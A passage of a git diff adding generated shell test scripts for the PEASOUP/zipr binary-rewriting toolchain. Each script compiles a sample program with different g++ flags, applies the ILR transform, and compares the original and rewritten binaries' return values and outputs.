+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="    -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="    -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..80cae48de317d40f2624270ed86f2069d670c47a
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="    -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="    -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4d8b384b73a33d434327feeba7246e771603f3f5
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="    -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="    -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ceb44bfa511bd1f12e2b47cb80bcfda8986a4422
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="    -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="    -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1023b3d7313e49a6ca5b43c81aeb91f19bb85174
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="    -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="    -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..da98b07c6eda767de92438c853f71f5651dbe132
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="    -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="    -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1878e12fee4fad5297ab0159d938f841a45c3496
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
